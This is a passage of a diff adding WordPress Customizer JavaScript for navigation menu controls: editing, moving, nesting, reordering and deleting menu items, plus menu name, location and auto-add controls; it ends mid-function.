+		_setupUpdateUI: function() {
+			var control = this,
+				settingValue = control.setting(),
+				updateNotifications;
+
+			control.elements = {};
+			control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) );
+			control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) );
+			control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) );
+			control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) );
+			control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) );
+			control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) );
+			control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) );
+			// @todo allow other elements, added by plugins, to be automatically picked up here; allow additional values to be added to setting array.
+
+			_.each( control.elements, function( element, property ) {
+				element.bind(function( value ) {
+					if ( element.element.is( 'input[type=checkbox]' ) ) {
+						value = ( value ) ? element.element.val() : '';
+					}
+
+					var settingValue = control.setting();
+					if ( settingValue && settingValue[ property ] !== value ) {
+						settingValue = _.clone( settingValue );
+						settingValue[ property ] = value;
+						control.setting.set( settingValue );
+					}
+				});
+				if ( settingValue ) {
+					if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) {
+						element.set( settingValue[ property ].join( ' ' ) );
+					} else {
+						element.set( settingValue[ property ] );
+					}
+				}
+			});
+
+			control.setting.bind(function( to, from ) {
+				var itemId = control.params.menu_item_id,
+					followingSiblingItemControls = [],
+					childrenItemControls = [],
+					menuControl;
+
+				if ( false === to ) {
+					menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' );
+					control.container.remove();
+
+					_.each( menuControl.getMenuItemControls(), function( otherControl ) {
+						if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) {
+							followingSiblingItemControls.push( otherControl );
+						} else if ( otherControl.setting().menu_item_parent === itemId ) {
+							childrenItemControls.push( otherControl );
+						}
+					});
+
+					// Shift all following siblings by the number of children this item has.
+					_.each( followingSiblingItemControls, function( followingSiblingItemControl ) {
+						var value = _.clone( followingSiblingItemControl.setting() );
+						value.position += childrenItemControls.length;
+						followingSiblingItemControl.setting.set( value );
+					});
+
+					// Now move the children up to be the new subsequent siblings.
+					_.each( childrenItemControls, function( childrenItemControl, i ) {
+						var value = _.clone( childrenItemControl.setting() );
+						value.position = from.position + i;
+						value.menu_item_parent = from.menu_item_parent;
+						childrenItemControl.setting.set( value );
+					});
+
+					menuControl.debouncedReflowMenuItems();
+				} else {
+					// Update the elements' values to match the new setting properties.
+					_.each( to, function( value, key ) {
+						if ( control.elements[ key] ) {
+							control.elements[ key ].set( to[ key ] );
+						}
+					} );
+					control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent );
+
+					// Handle UI updates when the position or depth (parent) change.
+					if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) {
+						control.getMenuControl().debouncedReflowMenuItems();
+					}
+				}
+			});
+
+			// Style the URL field as invalid when there is an invalid_url notification.
+			updateNotifications = function() {
+				control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) );
+			};
+			control.setting.notifications.bind( 'add', updateNotifications );
+			control.setting.notifications.bind( 'removed', updateNotifications );
+		},
+
+		/**
+		 * Set up event handlers for menu item deletion.
+		 */
+		_setupRemoveUI: function() {
+			var control = this, $removeBtn;
+
+			// Configure delete button.
+			$removeBtn = control.container.find( '.item-delete' );
+
+			$removeBtn.on( 'click', function() {
+				// Find an adjacent element to add focus to when this menu item goes away
+				var addingItems = true, $adjacentFocusTarget, $next, $prev;
+
+				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
+					addingItems = false;
+				}
+
+				$next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first();
+				$prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first();
+
+				if ( $next.length ) {
+					$adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
+				} else if ( $prev.length ) {
+					$adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
+				} else {
+					$adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first();
+				}
+
+				control.container.slideUp( function() {
+					control.setting.set( false );
+					wp.a11y.speak( api.Menus.data.l10n.itemDeleted );
+					$adjacentFocusTarget.focus(); // keyboard accessibility
+				} );
+
+				control.setting.set( false );
+			} );
+		},
+
+		_setupLinksUI: function() {
+			var $origBtn;
+
+			// Configure original link.
+			$origBtn = this.container.find( 'a.original-link' );
+
+			$origBtn.on( 'click', function( e ) {
+				e.preventDefault();
+				api.previewer.previewUrl( e.target.toString() );
+			} );
+		},
+
+		/**
+		 * Update item handle title when changed.
+		 */
+		_setupTitleUI: function() {
+			var control = this, titleEl;
+
+			// Ensure that whitespace is trimmed on blur so placeholder can be shown.
+			control.container.find( '.edit-menu-item-title' ).on( 'blur', function() {
+				$( this ).val( $.trim( $( this ).val() ) );
+			} );
+
+			titleEl = control.container.find( '.menu-item-title' );
+			control.setting.bind( function( item ) {
+				var trimmedTitle, titleText;
+				if ( ! item ) {
+					return;
+				}
+				trimmedTitle = $.trim( item.title );
+
+				titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled;
+
+				if ( item._invalid ) {
+					titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText );
+				}
+
+				// Don't update to an empty title.
+				if ( trimmedTitle || item.original_title ) {
+					titleEl
+						.text( titleText )
+						.removeClass( 'no-title' );
+				} else {
+					titleEl
+						.text( titleText )
+						.addClass( 'no-title' );
+				}
+			} );
+		},
+
+		/**
+		 *
+		 * @returns {number}
+		 */
+		getDepth: function() {
+			var control = this, setting = control.setting(), depth = 0;
+			if ( ! setting ) {
+				return 0;
+			}
+			while ( setting && setting.menu_item_parent ) {
+				depth += 1;
+				control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' );
+				if ( ! control ) {
+					break;
+				}
+				setting = control.setting();
+			}
+			return depth;
+		},
+
+		/**
+		 * Amend the control's params with the data necessary for the JS template just in time.
+		 */
+		renderContent: function() {
+			var control = this,
+				settingValue = control.setting(),
+				containerClasses;
+
+			control.params.title = settingValue.title || '';
+			control.params.depth = control.getDepth();
+			control.container.data( 'item-depth', control.params.depth );
+			containerClasses = [
+				'menu-item',
+				'menu-item-depth-' + String( control.params.depth ),
+				'menu-item-' + settingValue.object,
+				'menu-item-edit-inactive'
+			];
+
+			if ( settingValue._invalid ) {
+				containerClasses.push( 'menu-item-invalid' );
+				control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title );
+			} else if ( 'draft' === settingValue.status ) {
+				containerClasses.push( 'pending' );
+				control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title );
+			}
+
+			control.params.el_classes = containerClasses.join( ' ' );
+			control.params.item_type_label = settingValue.type_label;
+			control.params.item_type = settingValue.type;
+			control.params.url = settingValue.url;
+			control.params.target = settingValue.target;
+			control.params.attr_title = settingValue.attr_title;
+			control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes;
+			control.params.attr_title = settingValue.attr_title;
+			control.params.xfn = settingValue.xfn;
+			control.params.description = settingValue.description;
+			control.params.parent = settingValue.menu_item_parent;
+			control.params.original_title = settingValue.original_title || '';
+
+			control.container.addClass( control.params.el_classes );
+
+			api.Control.prototype.renderContent.call( control );
+		},
+
+		/***********************************************************************
+		 * Begin public API methods
+		 **********************************************************************/
+
+		/**
+		 * @return {wp.customize.controlConstructor.nav_menu|null}
+		 */
+		getMenuControl: function() {
+			var control = this, settingValue = control.setting();
+			if ( settingValue && settingValue.nav_menu_term_id ) {
+				return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' );
+			} else {
+				return null;
+			}
+		},
+
+		/**
+		 * Expand the accordion section containing a control
+		 */
+		expandControlSection: function() {
+			var $section = this.container.closest( '.accordion-section' );
+			if ( ! $section.hasClass( 'open' ) ) {
+				$section.find( '.accordion-section-title:first' ).trigger( 'click' );
+			}
+		},
+
+		/**
+		 * @since 4.6.0
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if state already applied
+		 */
+		_toggleExpanded: api.Section.prototype._toggleExpanded,
+
+		/**
+		 * @since 4.6.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already expanded
+		 */
+		expand: api.Section.prototype.expand,
+
+		/**
+		 * Expand the menu item form control.
+		 *
+		 * @since 4.5.0 Added params.completeCallback.
+		 *
+		 * @param {Object}   [params] - Optional params.
+		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
+		 */
+		expandForm: function( params ) {
+			this.expand( params );
+		},
+
+		/**
+		 * @since 4.6.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already collapsed
+		 */
+		collapse: api.Section.prototype.collapse,
+
+		/**
+		 * Collapse the menu item form control.
+		 *
+		 * @since 4.5.0 Added params.completeCallback.
+		 *
+		 * @param {Object}   [params] - Optional params.
+		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
+		 */
+		collapseForm: function( params ) {
+			this.collapse( params );
+		},
+
+		/**
+		 * Expand or collapse the menu item control.
+		 *
+		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
+		 * @since 4.5.0 Added params.completeCallback.
+		 *
+		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
+		 * @param {Object}   [params] - Optional params.
+		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
+		 */
+		toggleForm: function( showOrHide, params ) {
+			if ( typeof showOrHide === 'undefined' ) {
+				showOrHide = ! this.expanded();
+			}
+			if ( showOrHide ) {
+				this.expand( params );
+			} else {
+				this.collapse( params );
+			}
+		},
+
+		/**
+		 * Expand or collapse the menu item control.
+		 *
+		 * @since 4.6.0
+		 * @param {boolean}  [showOrHide] - If not supplied, will be inverse of current visibility
+		 * @param {Object}   [params] - Optional params.
+		 * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating.
+		 */
+		onChangeExpanded: function( showOrHide, params ) {
+			var self = this, $menuitem, $inside, complete;
+
+			$menuitem = this.container;
+			$inside = $menuitem.find( '.menu-item-settings:first' );
+			if ( 'undefined' === typeof showOrHide ) {
+				showOrHide = ! $inside.is( ':visible' );
+			}
+
+			// Already expanded or collapsed.
+			if ( $inside.is( ':visible' ) === showOrHide ) {
+				if ( params && params.completeCallback ) {
+					params.completeCallback();
+				}
+				return;
+			}
+
+			if ( showOrHide ) {
+				// Close all other menu item controls before expanding this one.
+				api.control.each( function( otherControl ) {
+					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
+						otherControl.collapseForm();
+					}
+				} );
+
+				complete = function() {
+					$menuitem
+						.removeClass( 'menu-item-edit-inactive' )
+						.addClass( 'menu-item-edit-active' );
+					self.container.trigger( 'expanded' );
+
+					if ( params && params.completeCallback ) {
+						params.completeCallback();
+					}
+				};
+
+				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' );
+				$inside.slideDown( 'fast', complete );
+
+				self.container.trigger( 'expand' );
+			} else {
+				complete = function() {
+					$menuitem
+						.addClass( 'menu-item-edit-inactive' )
+						.removeClass( 'menu-item-edit-active' );
+					self.container.trigger( 'collapsed' );
+
+					if ( params && params.completeCallback ) {
+						params.completeCallback();
+					}
+				};
+
+				self.container.trigger( 'collapse' );
+
+				$menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' );
+				$inside.slideUp( 'fast', complete );
+			}
+		},
+
+		/**
+		 * Expand the containing menu section, expand the form, and focus on
+		 * the first input in the control.
+		 *
+		 * @since 4.5.0 Added params.completeCallback.
+		 *
+		 * @param {Object}   [params] - Params object.
+		 * @param {Function} [params.completeCallback] - Optional callback function when focus has completed.
+		 */
+		focus: function( params ) {
+			params = params || {};
+			var control = this, originalCompleteCallback = params.completeCallback, focusControl;
+
+			focusControl = function() {
+				control.expandControlSection();
+
+				params.completeCallback = function() {
+					var focusable;
+
+					// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
+					focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' );
+					focusable.first().focus();
+
+					if ( originalCompleteCallback ) {
+						originalCompleteCallback();
+					}
+				};
+
+				control.expandForm( params );
+			};
+
+			if ( api.section.has( control.section() ) ) {
+				api.section( control.section() ).expand( {
+					completeCallback: focusControl
+				} );
+			} else {
+				focusControl();
+			}
+		},
+
+		/**
+		 * Move menu item up one in the menu.
+		 */
+		moveUp: function() {
+			this._changePosition( -1 );
+			wp.a11y.speak( api.Menus.data.l10n.movedUp );
+		},
+
+		/**
+		 * Move menu item up one in the menu.
+		 */
+		moveDown: function() {
+			this._changePosition( 1 );
+			wp.a11y.speak( api.Menus.data.l10n.movedDown );
+		},
+		/**
+		 * Move menu item and all children up one level of depth.
+		 */
+		moveLeft: function() {
+			this._changeDepth( -1 );
+			wp.a11y.speak( api.Menus.data.l10n.movedLeft );
+		},
+
+		/**
+		 * Move menu item and children one level deeper, as a submenu of the previous item.
+		 */
+		moveRight: function() {
+			this._changeDepth( 1 );
+			wp.a11y.speak( api.Menus.data.l10n.movedRight );
+		},
+
+		/**
+		 * Note that this will trigger a UI update, causing child items to
+		 * move as well and cardinal order class names to be updated.
+		 *
+		 * @private
+		 *
+		 * @param {Number} offset 1|-1
+		 */
+		_changePosition: function( offset ) {
+			var control = this,
+				adjacentSetting,
+				settingValue = _.clone( control.setting() ),
+				siblingSettings = [],
+				realPosition;
+
+			if ( 1 !== offset && -1 !== offset ) {
+				throw new Error( 'Offset changes by 1 are only supported.' );
+			}
+
+			// Skip moving deleted items.
+			if ( ! control.setting() ) {
+				return;
+			}
+
+			// Locate the other items under the same parent (siblings).
+			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
+				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
+					siblingSettings.push( otherControl.setting );
+				}
+			});
+			siblingSettings.sort(function( a, b ) {
+				return a().position - b().position;
+			});
+
+			realPosition = _.indexOf( siblingSettings, control.setting );
+			if ( -1 === realPosition ) {
+				throw new Error( 'Expected setting to be among siblings.' );
+			}
+
+			// Skip doing anything if the item is already at the edge in the desired direction.
+			if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) {
+				// @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent?
+				return;
+			}
+
+			// Update any adjacent menu item setting to take on this item's position.
+			adjacentSetting = siblingSettings[ realPosition + offset ];
+			if ( adjacentSetting ) {
+				adjacentSetting.set( $.extend(
+					_.clone( adjacentSetting() ),
+					{
+						position: settingValue.position
+					}
+				) );
+			}
+
+			settingValue.position += offset;
+			control.setting.set( settingValue );
+		},
+
+		/**
+		 * Note that this will trigger a UI update, causing child items to
+		 * move as well and cardinal order class names to be updated.
+		 *
+		 * @private
+		 *
+		 * @param {Number} offset 1|-1
+		 */
+		_changeDepth: function( offset ) {
+			if ( 1 !== offset && -1 !== offset ) {
+				throw new Error( 'Offset changes by 1 are only supported.' );
+			}
+			var control = this,
+				settingValue = _.clone( control.setting() ),
+				siblingControls = [],
+				realPosition,
+				siblingControl,
+				parentControl;
+
+			// Locate the other items under the same parent (siblings).
+			_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
+				if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
+					siblingControls.push( otherControl );
+				}
+			});
+			siblingControls.sort(function( a, b ) {
+				return a.setting().position - b.setting().position;
+			});
+
+			realPosition = _.indexOf( siblingControls, control );
+			if ( -1 === realPosition ) {
+				throw new Error( 'Expected control to be among siblings.' );
+			}
+
+			if ( -1 === offset ) {
+				// Skip moving left an item that is already at the top level.
+				if ( ! settingValue.menu_item_parent ) {
+					return;
+				}
+
+				parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' );
+
+				// Make this control the parent of all the following siblings.
+				_( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) {
+					siblingControl.setting.set(
+						$.extend(
+							{},
+							siblingControl.setting(),
+							{
+								menu_item_parent: control.params.menu_item_id,
+								position: i
+							}
+						)
+					);
+				});
+
+				// Increase the positions of the parent item's subsequent children to make room for this one.
+				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
+					var otherControlSettingValue, isControlToBeShifted;
+					isControlToBeShifted = (
+						otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent &&
+						otherControl.setting().position > parentControl.setting().position
+					);
+					if ( isControlToBeShifted ) {
+						otherControlSettingValue = _.clone( otherControl.setting() );
+						otherControl.setting.set(
+							$.extend(
+								otherControlSettingValue,
+								{ position: otherControlSettingValue.position + 1 }
+							)
+						);
+					}
+				});
+
+				// Make this control the following sibling of its parent item.
+				settingValue.position = parentControl.setting().position + 1;
+				settingValue.menu_item_parent = parentControl.setting().menu_item_parent;
+				control.setting.set( settingValue );
+
+			} else if ( 1 === offset ) {
+				// Skip moving right an item that doesn't have a previous sibling.
+				if ( realPosition === 0 ) {
+					return;
+				}
+
+				// Make the control the last child of the previous sibling.
+				siblingControl = siblingControls[ realPosition - 1 ];
+				settingValue.menu_item_parent = siblingControl.params.menu_item_id;
+				settingValue.position = 0;
+				_( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) {
+					if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) {
+						settingValue.position = Math.max( settingValue.position, otherControl.setting().position );
+					}
+				});
+				settingValue.position += 1;
+				control.setting.set( settingValue );
+			}
+		}
+	} );
+
+	/**
+	 * wp.customize.Menus.MenuNameControl
+	 *
+	 * Customizer control for a nav menu's name.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Menus.MenuNameControl = api.Control.extend({
+
+		ready: function() {
+			var control = this;
+
+			if ( control.setting ) {
+				var settingValue = control.setting();
+
+				control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) );
+
+				control.nameElement.bind(function( value ) {
+					var settingValue = control.setting();
+					if ( settingValue && settingValue.name !== value ) {
+						settingValue = _.clone( settingValue );
+						settingValue.name = value;
+						control.setting.set( settingValue );
+					}
+				});
+				if ( settingValue ) {
+					control.nameElement.set( settingValue.name );
+				}
+
+				control.setting.bind(function( object ) {
+					if ( object ) {
+						control.nameElement.set( object.name );
+					}
+				});
+			}
+		}
+	});
+
+	/**
+	 * wp.customize.Menus.MenuLocationsControl
+	 *
+	 * Customizer control for a nav menu's locations.
+	 *
+	 * @since 4.9.0
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Menus.MenuLocationsControl = api.Control.extend({
+
+		/**
+		 * Set up the control.
+		 *
+		 * @since 4.9.0
+		 */
+		ready: function () {
+			var control = this;
+
+			control.container.find( '.assigned-menu-location' ).each(function() {
+				var container = $( this ),
+					checkbox = container.find( 'input[type=checkbox]' ),
+					element = new api.Element( checkbox ),
+					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ),
+					isNewMenu = control.params.menu_id === '',
+					updateCheckbox = isNewMenu ? _.noop : function( checked ) {
+						element.set( checked );
+					},
+					updateSetting = isNewMenu ? _.noop : function( checked ) {
+						navMenuLocationSetting.set( checked ? control.params.menu_id : 0 );
+					},
+					updateSelectedMenuLabel = function( selectedMenuId ) {
+						var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' );
+						if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) {
+							container.find( '.theme-location-set' ).hide();
+						} else {
+							container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) );
+						}
+					};
+
+				updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id );
+
+				checkbox.on( 'change', function() {
+					// Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well.
+					updateSetting( this.checked );
+				} );
+
+				navMenuLocationSetting.bind( function( selectedMenuId ) {
+					updateCheckbox( selectedMenuId === control.params.menu_id );
+					updateSelectedMenuLabel( selectedMenuId );
+				} );
+				updateSelectedMenuLabel( navMenuLocationSetting.get() );
+			});
+		},
+
+		/**
+		 * Set the selected locations.
+		 *
+		 * This method sets the selected locations and allows us to do things like
+		 * set the default location for a new menu.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {Object.<string,boolean>} selections - A map of location selections.
+		 * @returns {void}
+		 */
+		setSelections: function( selections ) {
+			this.container.find( '.menu-location' ).each( function( i, checkboxNode ) {
+				var locationId = checkboxNode.dataset.locationId;
+				checkboxNode.checked = locationId in selections ? selections[ locationId ] : false;
+			} );
+		}
+	});
+
+	/**
+	 * wp.customize.Menus.MenuAutoAddControl
+	 *
+	 * Customizer control for a nav menu's auto add.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Menus.MenuAutoAddControl = api.Control.extend({
+
+		ready: function() {
+			var control = this,
+				settingValue = control.setting();
+
+			/*
+			 * Since the control is not registered in PHP, we need to prevent the
+			 * preview's sending of the activeControls to result in this control
+			 * being deactivated.
+			 */
+			control.active.validate = function() {
+				var value, section = api.section( control.section() );
+				if ( section ) {
+					value = section.active();
+				} else {
+					value = false;
+				}
+				return value;
+			};
+
+			control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) );
+
+			control.autoAddElement.bind(function( value ) {
+				var settingValue = control.setting();
+				if ( settingValue && settingValue.name !== value ) {
+					settingValue = _.clone( settingValue );
+					settingValue.auto_add = value;
+					control.setting.set( settingValue );
+				}
+			});
+			if ( settingValue ) {
+				control.autoAddElement.set( settingValue.auto_add );
+			}
+
+			control.setting.bind(function( object ) {
+				if ( object ) {
+					control.autoAddElement.set( object.auto_add );
+				}
+			});
+		}
+
+	});
+
+	/**
+	 * wp.customize.Menus.MenuControl
+	 *
+	 * Customizer control for menus.
+	 * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Menus.MenuControl = api.Control.extend({
+		/**
+		 * Set up the control.
+		 */
+		ready: function() {
+			var control = this,
+				section = api.section( control.section() ),
+				menuId = control.params.menu_id,
+				menu = control.setting(),
+				name,
+				widgetTemplate,
+				select;
+
+			if ( 'undefined' === typeof this.params.menu_id ) {
+				throw new Error( 'params.menu_id was not defined' );
+			}
+
+			/*
+			 * Since the control is not registered in PHP, we need to prevent the
+			 * preview's sending of the activeControls to result in this control
+			 * being deactivated.
+			 */
+			control.active.validate = function() {
+				var value;
+				if ( section ) {
+					value = section.active();
+				} else {
+					value = false;
+				}
+				return value;
+			};
+
+			control.$controlSection = section.headContainer;
+			control.$sectionContent = control.container.closest( '.accordion-section-content' );
+
+			this._setupModel();
+
+			api.section( control.section(), function( section ) {
+				section.deferred.initSortables.done(function( menuList ) {
+					control._setupSortable( menuList );
+				});
+			} );
+
+			this._setupAddition();
+			this._setupTitle();
+
+			// Add menu to Navigation Menu widgets.
+			if ( menu ) {
+				name = displayNavMenuName( menu.name );
+
+				// Add the menu to the existing controls.
+				api.control.each( function( widgetControl ) {
+					if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
+						return;
+					}
+					widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show();
+					widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide();
+
+					select = widgetControl.container.find( 'select' );
+					if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
+						select.append( new Option( name, menuId ) );
+					}
+				} );
+
+				// Add the menu to the widget template.
+				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
+				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show();
+				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide();
+				select = widgetTemplate.find( '.widget-inside select:first' );
+				if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) {
+					select.append( new Option( name, menuId ) );
+				}
+			}
+
+			/*
+			 * Wait for menu items to be added.
+			 * Ideally, we'd bind to an event indicating construction is complete,
+			 * but deferring appears to be the best option today.
+			 */
+			_.defer( function () {
+				control.updateInvitationVisibility();
+			} );
+		},
+
+		/**
+		 * Update ordering of menu item controls when the setting is updated.
+		 */
+		_setupModel: function() {
+			var control = this,
+				menuId = control.params.menu_id;
+
+			control.setting.bind( function( to ) {
+				var name;
+				if ( false === to ) {
+					control._handleDeletion();
+				} else {
+					// Update names in the Navigation Menu widgets.
+					name = displayNavMenuName( to.name );
+					api.control.each( function( widgetControl ) {
+						if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
+							return;
+						}
+						var select = widgetControl.container.find( 'select' );
+						select.find( 'option[value=' + String( menuId ) + ']' ).text( name );
+					});
+				}
+			} );
+		},
+
+		/**
+		 * Allow items in each menu to be re-ordered, and for the order to be previewed.
+		 *
+		 * Notice that the UI aspects here are handled by wpNavMenu.initSortables()
+		 * which is called in MenuSection.onChangeExpanded()
+		 *
+		 * @param {object} menuList - The element that has sortable().
+		 */
+		_setupSortable: function( menuList ) {
+			var control = this;
+
+			if ( ! menuList.is( control.$sectionContent ) ) {
+				throw new Error( 'Unexpected menuList.' );
+			}
+
+			menuList.on( 'sortstart', function() {
+				control.isSorting = true;
+			});
+
+			menuList.on( 'sortstop', function() {
+				setTimeout( function() { // Next tick.
+					var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ),
+						menuItemControls = [],
+						position = 0,
+						priority = 10;
+
+					control.isSorting = false;
+
+					// Reset horizontal scroll position when done dragging.
+					control.$sectionContent.scrollLeft( 0 );
+
+					_.each( menuItemContainerIds, function( menuItemContainerId ) {
+						var menuItemId, menuItemControl, matches;
+						matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
+						if ( ! matches ) {
+							return;
+						}
+						menuItemId = parseInt( matches[1], 10 );
+						menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );
+						if ( menuItemControl ) {
+							menuItemControls.push( menuItemControl );
+						}
+					} );
+
+					_.each( menuItemControls, function( menuItemControl ) {
+						if ( false === menuItemControl.setting() ) {
+							// Skip deleted items.
+							return;
+						}
+						var setting = _.clone( menuItemControl.setting() );
+						position += 1;
+						priority += 1;
+						setting.position = position;
+						menuItemControl.priority( priority );
+
+						// Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value.
+						setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 );
+						if ( ! setting.menu_item_parent ) {
+							setting.menu_item_parent = 0;
+						}
+
+						menuItemControl.setting.set( setting );
+					});
+				});
+
+			});
+			control.isReordering = false;
+
+			/**
+			 * Keyboard-accessible reordering.
+			 */
+			this.container.find( '.reorder-toggle' ).on( 'click', function() {
+				control.toggleReordering( ! control.isReordering );
+			} );
+		},
+
+		/**
+		 * Set up UI for adding a new menu item.
+		 */
+		_setupAddition: function() {
+			var self = this;
+
+			this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) {
+				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
+					return;
+				}
+
+				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
+					$( this ).attr( 'aria-expanded', 'true' );
+					api.Menus.availableMenuItemsPanel.open( self );
+				} else {
+					$( this ).attr( 'aria-expanded', 'false' );
+					api.Menus.availableMenuItemsPanel.close();
+					event.stopPropagation();
+				}
+			} );
+		},
+
+		_handleDeletion: function() {
+			var control = this,
+				section,
+				menuId = control.params.menu_id,
+				removeSection,
+				widgetTemplate,
+				navMenuCount = 0;
+			section = api.section( control.section() );
+			removeSection = function() {
+				section.container.remove();
+				api.section.remove( section.id );
+			};
+
+			if ( section && section.expanded() ) {
+				section.collapse({
+					completeCallback: function() {
+						removeSection();
+						wp.a11y.speak( api.Menus.data.l10n.menuDeleted );
+						api.panel( 'nav_menus' ).focus();
+					}
+				});
+			} else {
+				removeSection();
+			}
+
+			api.each(function( setting ) {
+				if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
+					navMenuCount += 1;
+				}
+			});
+
+			// Remove the menu from any Navigation Menu widgets.
+			api.control.each(function( widgetControl ) {
+				if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
+					return;
+				}
+				var select = widgetControl.container.find( 'select' );
+				if ( select.val() === String( menuId ) ) {
+					select.prop( 'selectedIndex', 0 ).trigger( 'change' );
+				}
+
+				widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
+				widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
+				widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove();
+			});
+
+			// Remove the menu to the nav menu widget template.
+			widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
+			widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
+			widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
+			widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove();
+		},
+
+		/**
+		 * Update Section Title as menu name is changed.
+		 */
+		_setupTitle: function() {
+			var control = this;
+
+			control.setting.bind( function( menu ) {
+				if ( ! menu ) {
+					return;
+				}
+
+				var section = api.section( control.section() ),
+					menuId = control.params.menu_id,
+					controlTitle = section.headContainer.find( '.accordion-section-title' ),
